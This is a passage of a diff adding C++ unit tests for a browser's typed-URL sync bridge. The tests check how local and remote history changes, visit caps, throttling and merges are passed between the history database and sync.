+  ASSERT_TRUE(BuildAndPushLocalChanges(1, 0, urls, &url_rows, &visit_vectors));
+
+  URLRow url_row = url_rows.front();
+  VisitVector visits = visit_vectors.front();
+
+  // Check change processor.
+  ASSERT_EQ(1U, processor().put_multimap().size());
+
+  // Get typed url specifics.
+  auto it = processor().put_multimap().begin();
+  sync_pb::TypedUrlSpecifics url_specifics = it->second->specifics.typed_url();
+
+  EXPECT_TRUE(URLsEqual(url_row, url_specifics));
+  ASSERT_EQ(1, url_specifics.visits_size());
+  ASSERT_EQ(static_cast<const int>(visits.size()), url_specifics.visits_size());
+  EXPECT_EQ(visits[0].visit_time.ToInternalValue(), url_specifics.visits(0));
+  EXPECT_EQ(static_cast<const int>(visits[0].transition),
+            url_specifics.visit_transitions(0));
+}
+
+// Update a local typed URL that is already synced. Check that sync is sent an
+// UPDATE for the existing url, but RELOAD visits aren't synced.
+TEST_F(TypedURLSyncBridgeTest, UpdateLocalTypedUrl) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+
+  // Update the URL row, adding another typed visit to the visit vector.
+  URLRows changed_urls;
+  VisitVector visits;
+  URLRow url_row = MakeTypedUrlRow(kURL, kTitle, 1, 3, false, &visits);
+  AddNewestVisit(ui::PAGE_TRANSITION_TYPED, 7, &url_row, &visits);
+  AddNewestVisit(ui::PAGE_TRANSITION_RELOAD, 8, &url_row, &visits);
+  AddNewestVisit(ui::PAGE_TRANSITION_LINK, 9, &url_row, &visits);
+  fake_history_backend_->SetVisitsForUrl(url_row, visits);
+  changed_urls.push_back(url_row);
+
+  // Notify typed url sync service of the update.
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(0U, changes_multimap.size());
+  bridge()->OnURLsModified(fake_history_backend_.get(), changed_urls);
+  ASSERT_EQ(1U, changes_multimap.size());
+
+  sync_pb::TypedUrlSpecifics url_specifics = GetLastUpdateForURL(kURL);
+  EXPECT_TRUE(URLsEqual(url_row, url_specifics));
+  ASSERT_EQ(3, url_specifics.visits_size());
+
+  // Check that each visit has been translated/communicated correctly.
+  // Note that the specifics record visits in chronological order, and the
+  // visits from the db are in reverse chronological order.
+  EXPECT_EQ(visits[0].visit_time.ToInternalValue(), url_specifics.visits(2));
+  EXPECT_EQ(static_cast<const int>(visits[0].transition),
+            url_specifics.visit_transitions(2));
+  EXPECT_EQ(visits[2].visit_time.ToInternalValue(), url_specifics.visits(1));
+  EXPECT_EQ(static_cast<const int>(visits[2].transition),
+            url_specifics.visit_transitions(1));
+  EXPECT_EQ(visits[3].visit_time.ToInternalValue(), url_specifics.visits(0));
+  EXPECT_EQ(static_cast<const int>(visits[3].transition),
+            url_specifics.visit_transitions(0));
+}
+
+// Append a RELOAD visit to a typed url that is already synced. Check that sync
+// does not receive any updates.
+TEST_F(TypedURLSyncBridgeTest, ReloadVisitLocalTypedUrl) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  ASSERT_TRUE(BuildAndPushLocalChanges(1, 0, urls, &url_rows, &visit_vectors));
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(1U, changes_multimap.size());
+
+  // Update the URL row, adding another typed visit to the visit vector.
+  URLRow url_row = url_rows.front();
+  URLRows changed_urls;
+  VisitVector new_visits;
+  AddNewestVisit(ui::PAGE_TRANSITION_RELOAD, 7, &url_row, &new_visits);
+  fake_history_backend_->SetVisitsForUrl(url_row, new_visits);
+  changed_urls.push_back(url_row);
+
+  // Notify typed url sync service of the update.
+  bridge()->OnURLVisited(fake_history_backend_.get(),
+                         ui::PAGE_TRANSITION_RELOAD, url_row, RedirectList(),
+                         base::Time::FromInternalValue(7));
+  // No change pass to processor
+  ASSERT_EQ(1U, changes_multimap.size());
+}
+
+// Appends a LINK visit to an existing typed url. Check that sync does not
+// receive any changes.
+TEST_F(TypedURLSyncBridgeTest, LinkVisitLocalTypedUrl) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  ASSERT_TRUE(BuildAndPushLocalChanges(1, 0, urls, &url_rows, &visit_vectors));
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(1U, changes_multimap.size());
+
+  // Update the URL row, adding a non-typed visit to the visit vector.
+  URLRow url_row = url_rows.front();
+  VisitVector new_visits;
+  AddNewestVisit(ui::PAGE_TRANSITION_LINK, 6, &url_row, &new_visits);
+  fake_history_backend_->SetVisitsForUrl(url_row, new_visits);
+
+  ui::PageTransition transition = ui::PAGE_TRANSITION_LINK;
+  // Notify typed url sync service of non-typed visit, expect no change.
+  bridge()->OnURLVisited(fake_history_backend_.get(), transition, url_row,
+                         RedirectList(), base::Time::FromInternalValue(6));
+  // No change pass to processor
+  ASSERT_EQ(1U, changes_multimap.size());
+}
+
+// Appends a series of LINK visits followed by a TYPED one to an existing typed
+// url. Check that sync receives an UPDATE with the newest visit data.
+TEST_F(TypedURLSyncBridgeTest, TypedVisitLocalTypedUrl) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+
+  // Update the URL row, adding another typed visit to the visit vector.
+  VisitVector visits;
+  URLRow url_row = MakeTypedUrlRow(kURL, kTitle, 1, 3, false, &visits);
+  AddOldestVisit(ui::PAGE_TRANSITION_LINK, 1, &url_row, &visits);
+  AddNewestVisit(ui::PAGE_TRANSITION_LINK, 6, &url_row, &visits);
+  AddNewestVisit(ui::PAGE_TRANSITION_TYPED, 7, &url_row, &visits);
+  fake_history_backend_->SetVisitsForUrl(url_row, visits);
+
+  // Notify typed url sync service of typed visit.
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(0U, changes_multimap.size());
+  ui::PageTransition transition = ui::PAGE_TRANSITION_TYPED;
+  bridge()->OnURLVisited(fake_history_backend_.get(), transition, url_row,
+                         RedirectList(), base::Time::Now());
+
+  ASSERT_EQ(1U, changes_multimap.size());
+  sync_pb::TypedUrlSpecifics url_specifics = GetLastUpdateForURL(kURL);
+
+  EXPECT_TRUE(URLsEqual(url_row, url_specifics));
+  EXPECT_EQ(4, url_specifics.visits_size());
+
+  // Check that each visit has been translated/communicated correctly.
+  // Note that the specifics record visits in chronological order, and the
+  // visits from the db are in reverse chronological order.
+  int r = url_specifics.visits_size() - 1;
+  for (int i = 0; i < url_specifics.visits_size(); ++i, --r) {
+    EXPECT_EQ(visits[i].visit_time.ToInternalValue(), url_specifics.visits(r));
+    EXPECT_EQ(static_cast<const int>(visits[i].transition),
+              url_specifics.visit_transitions(r));
+  }
+}
+
+// Delete several (but not all) local typed urls. Check that sync receives the
+// DELETE changes, and the non-deleted urls remain synced.
+TEST_F(TypedURLSyncBridgeTest, DeleteLocalTypedUrl) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back("http://pie.com/");
+  urls.push_back("http://cake.com/");
+  urls.push_back("http://google.com/");
+  urls.push_back("http://foo.com/");
+  urls.push_back("http://bar.com/");
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  ASSERT_TRUE(BuildAndPushLocalChanges(4, 1, urls, &url_rows, &visit_vectors));
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(4U, changes_multimap.size());
+
+  // Simulate visit expiry of typed visit, no syncing is done
+  // This is to test that sync relies on the in-memory cache to know
+  // which urls were typed and synced, and should be deleted.
+  url_rows[0].set_typed_count(0);
+  VisitVector visits;
+  fake_history_backend_->SetVisitsForUrl(url_rows[0], visits);
+
+  // Delete some urls from backend and create deleted row vector.
+  URLRows rows;
+  std::set<std::string> deleted_storage_keys;
+  for (size_t i = 0; i < 3u; ++i) {
+    std::string storage_key = GetStorageKey(url_rows[i].url().spec());
+    deleted_storage_keys.insert(storage_key);
+    fake_history_backend_->DeleteURL(url_rows[i].url());
+    rows.push_back(url_rows[i]);
+  }
+
+  // Notify typed url sync service.
+  bridge()->OnURLsDeleted(fake_history_backend_.get(), false, false, rows,
+                          std::set<GURL>());
+
+  const auto& delete_set = processor().delete_set();
+  ASSERT_EQ(3U, delete_set.size());
+  for (const std::string& storage_key : delete_set) {
+    EXPECT_TRUE(deleted_storage_keys.find(storage_key) !=
+                deleted_storage_keys.end());
+    deleted_storage_keys.erase(storage_key);
+  }
+  ASSERT_TRUE(deleted_storage_keys.empty());
+}
+
+// Saturate the visits for a typed url with both TYPED and LINK navigations.
+// Check that no more than kMaxTypedURLVisits are synced, and that LINK visits
+// are dropped rather than TYPED ones.
+TEST_F(TypedURLSyncBridgeTest, MaxVisitLocalTypedUrl) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  ASSERT_TRUE(BuildAndPushLocalChanges(0, 1, urls, &url_rows, &visit_vectors));
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(0U, changes_multimap.size());
+
+  URLRow url_row = url_rows.front();
+  VisitVector visits;
+
+  // Add |kMaxTypedUrlVisits| + 10 visits to the url. The 10 oldest
+  // non-typed visits are expected to be skipped.
+  int i = 1;
+  for (; i <= kMaxTypedUrlVisits - 20; ++i)
+    AddNewestVisit(ui::PAGE_TRANSITION_TYPED, i, &url_row, &visits);
+  for (; i <= kMaxTypedUrlVisits; ++i)
+    AddNewestVisit(ui::PAGE_TRANSITION_LINK, i, &url_row, &visits);
+  for (; i <= kMaxTypedUrlVisits + 10; ++i)
+    AddNewestVisit(ui::PAGE_TRANSITION_TYPED, i, &url_row, &visits);
+
+  fake_history_backend_->SetVisitsForUrl(url_row, visits);
+
+  // Notify typed url sync service of typed visit.
+  ui::PageTransition transition = ui::PAGE_TRANSITION_TYPED;
+  bridge()->OnURLVisited(fake_history_backend_.get(), transition, url_row,
+                         RedirectList(), base::Time::Now());
+
+  ASSERT_EQ(1U, changes_multimap.size());
+  sync_pb::TypedUrlSpecifics url_specifics = GetLastUpdateForURL(kURL);
+  ASSERT_EQ(kMaxTypedUrlVisits, url_specifics.visits_size());
+
+  // Check that each visit has been translated/communicated correctly.
+  // Note that the specifics records visits in chronological order, and the
+  // visits from the db are in reverse chronological order.
+  int num_typed_visits_synced = 0;
+  int num_other_visits_synced = 0;
+  int r = url_specifics.visits_size() - 1;
+  for (int i = 0; i < url_specifics.visits_size(); ++i, --r) {
+    if (url_specifics.visit_transitions(i) ==
+        static_cast<int32_t>(ui::PAGE_TRANSITION_TYPED)) {
+      ++num_typed_visits_synced;
+    } else {
+      ++num_other_visits_synced;
+    }
+  }
+  EXPECT_EQ(kMaxTypedUrlVisits - 10, num_typed_visits_synced);
+  EXPECT_EQ(10, num_other_visits_synced);
+}
+
+// Add enough visits to trigger throttling of updates to a typed url. Check that
+// sync does not receive an update until the proper throttle interval has been
+// reached.
+TEST_F(TypedURLSyncBridgeTest, ThrottleVisitLocalTypedUrl) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  ASSERT_TRUE(BuildAndPushLocalChanges(0, 1, urls, &url_rows, &visit_vectors));
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(0U, changes_multimap.size());
+
+  URLRow url_row = url_rows.front();
+  VisitVector visits;
+
+  // Add enough visits to the url so that typed count is above the throttle
+  // limit, and not right on the interval that gets synced.
+  int i = 1;
+  for (; i < kVisitThrottleThreshold + kVisitThrottleMultiple / 2; ++i)
+    AddNewestVisit(ui::PAGE_TRANSITION_TYPED, i, &url_row, &visits);
+  fake_history_backend_->SetVisitsForUrl(url_row, visits);
+
+  // Notify typed url sync service of typed visit.
+  ui::PageTransition transition = ui::PAGE_TRANSITION_TYPED;
+  bridge()->OnURLVisited(fake_history_backend_.get(), transition, url_row,
+                         RedirectList(), base::Time::Now());
+
+  // Should throttle, so sync and local cache should not update.
+  ASSERT_EQ(0U, changes_multimap.size());
+
+  visits.clear();
+  for (; i % kVisitThrottleMultiple != 1; ++i)
+    AddNewestVisit(ui::PAGE_TRANSITION_TYPED, i, &url_row, &visits);
+  --i;  // Account for the increment before the condition ends.
+  fake_history_backend_->SetVisitsForUrl(url_row, visits);
+
+  // Notify typed url sync service of typed visit.
+  bridge()->OnURLVisited(fake_history_backend_.get(), transition, url_row,
+                         RedirectList(), base::Time::Now());
+
+  ASSERT_EQ(1U, changes_multimap.size());
+  sync_pb::TypedUrlSpecifics url_specifics = GetLastUpdateForURL(kURL);
+  ASSERT_EQ(i, url_specifics.visits_size());
+}
+
+// Create a remote typed URL and visit, then send to sync bridge after sync
+// has started. Check that local DB is received the new URL and visit.
+TEST_F(TypedURLSyncBridgeTest, AddUrlAndVisits) {
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  VisitVector visits = ApplyUrlAndVisitsChange(kURL, kTitle, 1, 3, false,
+                                               EntityChange::ACTION_ADD);
+
+  ASSERT_EQ(0U, processor().put_multimap().size());
+  ASSERT_EQ(1U, processor().update_multimap().size());
+  ASSERT_EQ(0U, processor().untrack_set().size());
+
+  // Verify processor receive correct upate storage key.
+  const auto& it = processor().update_multimap().begin();
+  EXPECT_EQ(it->first, IntToStroageKey(1));
+  EXPECT_TRUE(it->second->specifics.has_typed_url());
+  EXPECT_EQ(it->second->specifics.typed_url().url(), kURL);
+  EXPECT_EQ(it->second->specifics.typed_url().title(), kTitle);
+
+  base::Time visit_time = base::Time::FromInternalValue(3);
+  VisitVector all_visits;
+  URLID url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_NE(0, url_id);
+  fake_history_backend_->GetVisitsForURL(url_id, &all_visits);
+  EXPECT_EQ(1U, all_visits.size());
+  EXPECT_EQ(visit_time, all_visits[0].visit_time);
+  EXPECT_TRUE(ui::PageTransitionTypeIncludingQualifiersIs(
+      all_visits[0].transition, visits[0].transition));
+  URLRow url_row;
+  EXPECT_TRUE(fake_history_backend_->GetURL(GURL(kURL), &url_row));
+  EXPECT_EQ(kTitle, base::UTF16ToUTF8(url_row.title()));
+}
+
+// Create a remote typed URL with expired visit, then send to sync bridge after
+// sync has started. Check that local DB did not receive the expired URL and
+// visit.
+TEST_F(TypedURLSyncBridgeTest, AddExpiredUrlAndVisits) {
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  VisitVector visits = ApplyUrlAndVisitsChange(kURL, kTitle, 1, kExpiredVisit,
+                                               false, EntityChange::ACTION_ADD);
+
+  ASSERT_EQ(0U, processor().put_multimap().size());
+  ASSERT_EQ(0U, processor().update_multimap().size());
+  ASSERT_EQ(1U, processor().untrack_set().size());
+
+  URLID url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_EQ(0, url_id);
+}
+
+// Update a remote typed URL and create a new visit that is already synced, then
+// send the update to sync bridge. Check that local DB is received an
+// UPDATE for the existing url and new visit.
+TEST_F(TypedURLSyncBridgeTest, UpdateUrlAndVisits) {
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+
+  VisitVector visits = ApplyUrlAndVisitsChange(kURL, kTitle, 1, 3, false,
+                                               EntityChange::ACTION_ADD);
+  base::Time visit_time = base::Time::FromInternalValue(3);
+  VisitVector all_visits;
+  URLRow url_row;
+
+  URLID url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_NE(0, url_id);
+
+  fake_history_backend_->GetVisitsForURL(url_id, &all_visits);
+
+  EXPECT_EQ(1U, all_visits.size());
+  EXPECT_EQ(visit_time, all_visits[0].visit_time);
+  EXPECT_TRUE(ui::PageTransitionTypeIncludingQualifiersIs(
+      all_visits[0].transition, visits[0].transition));
+  EXPECT_TRUE(fake_history_backend_->GetURL(GURL(kURL), &url_row));
+  EXPECT_EQ(kTitle, base::UTF16ToUTF8(url_row.title()));
+
+  VisitVector new_visits = ApplyUrlAndVisitsChange(kURL, kTitle2, 2, 6, false,
+                                                   EntityChange::ACTION_UPDATE);
+
+  base::Time new_visit_time = base::Time::FromInternalValue(6);
+  url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_NE(0, url_id);
+  fake_history_backend_->GetVisitsForURL(url_id, &all_visits);
+
+  EXPECT_EQ(2U, all_visits.size());
+  EXPECT_EQ(new_visit_time, all_visits.back().visit_time);
+  EXPECT_TRUE(ui::PageTransitionTypeIncludingQualifiersIs(
+      all_visits.back().transition, new_visits[0].transition));
+  EXPECT_TRUE(fake_history_backend_->GetURL(GURL(kURL), &url_row));
+  EXPECT_EQ(kTitle2, base::UTF16ToUTF8(url_row.title()));
+}
+
+// Delete a typed urls which already synced. Check that local DB receives the
+// DELETE changes.
+TEST_F(TypedURLSyncBridgeTest, DeleteUrlAndVisits) {
+  URLRows url_rows;
+  std::vector<VisitVector> visit_vectors;
+  std::vector<std::string> urls;
+  urls.push_back(kURL);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+  ASSERT_TRUE(BuildAndPushLocalChanges(1, 0, urls, &url_rows, &visit_vectors));
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(1U, changes_multimap.size());
+
+  base::Time visit_time = base::Time::FromInternalValue(3);
+  VisitVector all_visits;
+  URLID url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_NE(0, url_id);
+  fake_history_backend_->GetVisitsForURL(url_id, &all_visits);
+  EXPECT_EQ(1U, all_visits.size());
+  EXPECT_EQ(visit_time, all_visits[0].visit_time);
+  EXPECT_TRUE(ui::PageTransitionTypeIncludingQualifiersIs(
+      all_visits[0].transition, visit_vectors[0][0].transition));
+  URLRow url_row;
+  EXPECT_TRUE(fake_history_backend_->GetURL(GURL(kURL), &url_row));
+  EXPECT_EQ(kTitle, base::UTF16ToUTF8(url_row.title()));
+
+  // Add observer back to check if TypedUrlSyncBridge receive delete
+  // changes back from fake_history_backend_.
+  AddObserver();
+
+  ApplyUrlAndVisitsChange(kURL, kTitle, 1, 3, false,
+                          EntityChange::ACTION_DELETE);
+
+  EXPECT_FALSE(fake_history_backend_->GetURL(GURL(kURL), &url_row));
+  url_id = fake_history_backend_->GetIdByUrl(GURL(kURL));
+  ASSERT_EQ(0, url_id);
+
+  // Check TypedUrlSyncBridge did not receive update since the update is
+  // trigered by it.
+  ASSERT_EQ(1U, changes_multimap.size());
+}
+
+// Create two set of visits for history DB and sync DB, two same set of visits
+// are same. Check DiffVisits will return empty set of diff visits.
+TEST_F(TypedURLSyncBridgeTest, DiffVisitsSame) {
+  VisitVector old_visits;
+  sync_pb::TypedUrlSpecifics new_url;
+
+  const int64_t visits[] = {1024, 2065, 65534, 1237684};
+
+  for (int64_t visit : visits) {
+    old_visits.push_back(VisitRow(0, base::Time::FromInternalValue(visit), 0,
+                                  ui::PAGE_TRANSITION_TYPED, 0));
+    new_url.add_visits(visit);
+    new_url.add_visit_transitions(ui::PAGE_TRANSITION_TYPED);
+  }
+
+  std::vector<VisitInfo> new_visits;
+  VisitVector removed_visits;
+
+  DiffVisits(old_visits, new_url, &new_visits, &removed_visits);
+  EXPECT_TRUE(new_visits.empty());
+  EXPECT_TRUE(removed_visits.empty());
+}
+
+// Create two set of visits for history DB and sync DB. Check DiffVisits will
+// return correct set of diff visits.
+TEST_F(TypedURLSyncBridgeTest, DiffVisitsRemove) {
+  VisitVector old_visits;
+  sync_pb::TypedUrlSpecifics new_url;
+
+  const int64_t visits_left[] = {1,    2,     1024,    1500,   2065,
+                                 6000, 65534, 1237684, 2237684};
+  const int64_t visits_right[] = {1024, 2065, 65534, 1237684};
+
+  // DiffVisits will not remove the first visit, because we never delete visits
+  // from the start of the array (since those visits can get truncated by the
+  // size-limiting code).
+  const int64_t visits_removed[] = {1500, 6000, 2237684};
+
+  for (int64_t visit : visits_left) {
+    old_visits.push_back(VisitRow(0, base::Time::FromInternalValue(visit), 0,
+                                  ui::PAGE_TRANSITION_TYPED, 0));
+  }
+
+  for (int64_t visit : visits_right) {
+    new_url.add_visits(visit);
+    new_url.add_visit_transitions(ui::PAGE_TRANSITION_TYPED);
+  }
+
+  std::vector<VisitInfo> new_visits;
+  VisitVector removed_visits;
+
+  DiffVisits(old_visits, new_url, &new_visits, &removed_visits);
+  EXPECT_TRUE(new_visits.empty());
+  ASSERT_EQ(removed_visits.size(), arraysize(visits_removed));
+  for (size_t i = 0; i < arraysize(visits_removed); ++i) {
+    EXPECT_EQ(removed_visits[i].visit_time.ToInternalValue(),
+              visits_removed[i]);
+  }
+}
+
+// Create two set of visits for history DB and sync DB. Check DiffVisits will
+// return correct set of diff visits.
+TEST_F(TypedURLSyncBridgeTest, DiffVisitsAdd) {
+  VisitVector old_visits;
+  sync_pb::TypedUrlSpecifics new_url;
+
+  const int64_t visits_left[] = {1024, 2065, 65534, 1237684};
+  const int64_t visits_right[] = {1,    1024,  1500,    2065,
+                                  6000, 65534, 1237684, 2237684};
+
+  const int64_t visits_added[] = {1, 1500, 6000, 2237684};
+
+  for (int64_t visit : visits_left) {
+    old_visits.push_back(VisitRow(0, base::Time::FromInternalValue(visit), 0,
+                                  ui::PAGE_TRANSITION_TYPED, 0));
+  }
+
+  for (int64_t visit : visits_right) {
+    new_url.add_visits(visit);
+    new_url.add_visit_transitions(ui::PAGE_TRANSITION_TYPED);
+  }
+
+  std::vector<VisitInfo> new_visits;
+  VisitVector removed_visits;
+
+  DiffVisits(old_visits, new_url, &new_visits, &removed_visits);
+  EXPECT_TRUE(removed_visits.empty());
+  ASSERT_TRUE(new_visits.size() == arraysize(visits_added));
+  for (size_t i = 0; i < arraysize(visits_added); ++i) {
+    EXPECT_EQ(new_visits[i].first.ToInternalValue(), visits_added[i]);
+    EXPECT_TRUE(ui::PageTransitionTypeIncludingQualifiersIs(
+        new_visits[i].second, ui::PAGE_TRANSITION_TYPED));
+  }
+}
+
+// Create three visits, check RELOAD visit is removed by
+// WriteToTypedUrlSpecifics so it won't apply to sync DB.
+TEST_F(TypedURLSyncBridgeTest, WriteTypedUrlSpecifics) {
+  VisitVector visits;
+  visits.push_back(CreateVisit(ui::PAGE_TRANSITION_TYPED, 1));
+  visits.push_back(CreateVisit(ui::PAGE_TRANSITION_RELOAD, 2));
+  visits.push_back(CreateVisit(ui::PAGE_TRANSITION_LINK, 3));
+
+  URLRow url(MakeTypedUrlRow(kURL, kTitle, 0, 100, false, &visits));
+  sync_pb::TypedUrlSpecifics typed_url;
+  WriteToTypedUrlSpecifics(url, visits, &typed_url);
+  // RELOAD visits should be removed.
+  EXPECT_EQ(2, typed_url.visits_size());
+  EXPECT_EQ(typed_url.visit_transitions_size(), typed_url.visits_size());
+  EXPECT_EQ(1, typed_url.visits(0));
+  EXPECT_EQ(3, typed_url.visits(1));
+  EXPECT_EQ(static_cast<int32_t>(ui::PAGE_TRANSITION_TYPED),
+            typed_url.visit_transitions(0));
+  EXPECT_EQ(static_cast<int32_t>(ui::PAGE_TRANSITION_LINK),
+            typed_url.visit_transitions(1));
+}
+
+// Create 101 visits, check WriteToTypedUrlSpecifics will only keep 100 visits.
+TEST_F(TypedURLSyncBridgeTest, TooManyVisits) {
+  VisitVector visits;
+  int64_t timestamp = 1000;
+  visits.push_back(CreateVisit(ui::PAGE_TRANSITION_TYPED, timestamp++));
+  for (int i = 0; i < 100; ++i) {
+    visits.push_back(CreateVisit(ui::PAGE_TRANSITION_LINK, timestamp++));
+  }
+  URLRow url(MakeTypedUrlRow(kURL, kTitle, 0, timestamp++, false, &visits));
+  sync_pb::TypedUrlSpecifics typed_url;
+  WriteToTypedUrlSpecifics(url, visits, &typed_url);
+  // # visits should be capped at 100.
+  EXPECT_EQ(100, typed_url.visits_size());
+  EXPECT_EQ(typed_url.visit_transitions_size(), typed_url.visits_size());
+  EXPECT_EQ(1000, typed_url.visits(0));
+  // Visit with timestamp of 1001 should be omitted since we should have
+  // skipped that visit to stay under the cap.
+  EXPECT_EQ(1002, typed_url.visits(1));
+  EXPECT_EQ(static_cast<int32_t>(ui::PAGE_TRANSITION_TYPED),
+            typed_url.visit_transitions(0));
+  EXPECT_EQ(static_cast<int32_t>(ui::PAGE_TRANSITION_LINK),
+            typed_url.visit_transitions(1));
+}
+
+// Create 306 visits, check WriteToTypedUrlSpecifics will only keep 100 typed
+// visits.
+TEST_F(TypedURLSyncBridgeTest, TooManyTypedVisits) {
+  VisitVector visits;
+  int64_t timestamp = 1000;
+  for (int i = 0; i < 102; ++i) {
+    visits.push_back(CreateVisit(ui::PAGE_TRANSITION_TYPED, timestamp++));
+    visits.push_back(CreateVisit(ui::PAGE_TRANSITION_LINK, timestamp++));
+    visits.push_back(CreateVisit(ui::PAGE_TRANSITION_RELOAD, timestamp++));
+  }
+  URLRow url(MakeTypedUrlRow(kURL, kTitle, 0, timestamp++, false, &visits));
+  sync_pb::TypedUrlSpecifics typed_url;
+  WriteToTypedUrlSpecifics(url, visits, &typed_url);
+  // # visits should be capped at 100.
+  EXPECT_EQ(100, typed_url.visits_size());
+  EXPECT_EQ(typed_url.visit_transitions_size(), typed_url.visits_size());
+  // First two typed visits should be skipped.
+  EXPECT_EQ(1006, typed_url.visits(0));
+
+  // Ensure there are no non-typed visits since that's all that should fit.
+  for (int i = 0; i < typed_url.visits_size(); ++i) {
+    EXPECT_EQ(static_cast<int32_t>(ui::PAGE_TRANSITION_TYPED),
+              typed_url.visit_transitions(i));
+  }
+}
+
+// Create a typed url without visit, check WriteToTypedUrlSpecifics will return
+// false for it.
+TEST_F(TypedURLSyncBridgeTest, NoTypedVisits) {
+  VisitVector visits;
+  URLRow url(MakeTypedUrlRow(kURL, kTitle, 0, 1000, false, &visits));
+  sync_pb::TypedUrlSpecifics typed_url;
+  EXPECT_FALSE(WriteToTypedUrlSpecifics(url, visits, &typed_url));
+  // URLs with no typed URL visits should not been written to specifics.
+  EXPECT_EQ(0, typed_url.visits_size());
+}
+
+TEST_F(TypedURLSyncBridgeTest, MergeUrls) {
+  VisitVector visits1;
+  URLRow row1(MakeTypedUrlRow(kURL, kTitle, 2, 3, false, &visits1));
+  sync_pb::TypedUrlSpecifics specs1(
+      MakeTypedUrlSpecifics(kURL, kTitle, 3, false));
+  URLRow new_row1((GURL(kURL)));
+  std::vector<VisitInfo> new_visits1;
+  EXPECT_TRUE(TypedURLSyncBridgeTest::MergeUrls(specs1, row1, &visits1,
+                                                &new_row1, &new_visits1) ==
+              TypedURLSyncBridgeTest::DIFF_NONE);
+
+  VisitVector visits2;
+  URLRow row2(MakeTypedUrlRow(kURL, kTitle, 2, 3, false, &visits2));
+  sync_pb::TypedUrlSpecifics specs2(
+      MakeTypedUrlSpecifics(kURL, kTitle, 3, true));
+  VisitVector expected_visits2;
+  URLRow expected2(
+      MakeTypedUrlRow(kURL, kTitle, 2, 3, true, &expected_visits2));
+  URLRow new_row2((GURL(kURL)));
+  std::vector<VisitInfo> new_visits2;
+  EXPECT_TRUE(TypedURLSyncBridgeTest::MergeUrls(specs2, row2, &visits2,
+                                                &new_row2, &new_visits2) ==
+              TypedURLSyncBridgeTest::DIFF_LOCAL_ROW_CHANGED);
+  EXPECT_TRUE(URLsEqual(new_row2, expected2));
+
+  VisitVector visits3;
+  URLRow row3(MakeTypedUrlRow(kURL, kTitle, 2, 3, false, &visits3));
+  sync_pb::TypedUrlSpecifics specs3(
+      MakeTypedUrlSpecifics(kURL, kTitle2, 3, true));
+  VisitVector expected_visits3;
+  URLRow expected3(
+      MakeTypedUrlRow(kURL, kTitle2, 2, 3, true, &expected_visits3));
+  URLRow new_row3((GURL(kURL)));
+  std::vector<VisitInfo> new_visits3;
+  EXPECT_EQ(TypedURLSyncBridgeTest::DIFF_LOCAL_ROW_CHANGED |
+                TypedURLSyncBridgeTest::DIFF_NONE,
+            TypedURLSyncBridgeTest::MergeUrls(specs3, row3, &visits3, &new_row3,
+                                              &new_visits3));
+  EXPECT_TRUE(URLsEqual(new_row3, expected3));
+
+  // Create one node in history DB with timestamp of 3, and one node in sync
+  // DB with timestamp of 4. Result should contain one new item (4).
+  VisitVector visits4;
+  URLRow row4(MakeTypedUrlRow(kURL, kTitle, 2, 3, false, &visits4));
+  sync_pb::TypedUrlSpecifics specs4(
+      MakeTypedUrlSpecifics(kURL, kTitle2, 4, false));
+  VisitVector expected_visits4;
+  URLRow expected4(
+      MakeTypedUrlRow(kURL, kTitle2, 2, 4, false, &expected_visits4));
+  URLRow new_row4((GURL(kURL)));
+  std::vector<VisitInfo> new_visits4;
+  EXPECT_EQ(TypedURLSyncBridgeTest::DIFF_UPDATE_NODE |
+                TypedURLSyncBridgeTest::DIFF_LOCAL_ROW_CHANGED |
+                TypedURLSyncBridgeTest::DIFF_LOCAL_VISITS_ADDED,
+            TypedURLSyncBridgeTest::MergeUrls(specs4, row4, &visits4, &new_row4,
+                                              &new_visits4));
+  EXPECT_EQ(1U, new_visits4.size());
+  EXPECT_EQ(specs4.visits(0), new_visits4[0].first.ToInternalValue());
+  EXPECT_TRUE(URLsEqual(new_row4, expected4));
+  EXPECT_EQ(2U, visits4.size());
+
+  VisitVector visits5;
+  URLRow row5(MakeTypedUrlRow(kURL, kTitle, 1, 4, false, &visits5));
+  sync_pb::TypedUrlSpecifics specs5(
+      MakeTypedUrlSpecifics(kURL, kTitle, 3, false));
+  VisitVector expected_visits5;
+  URLRow expected5(
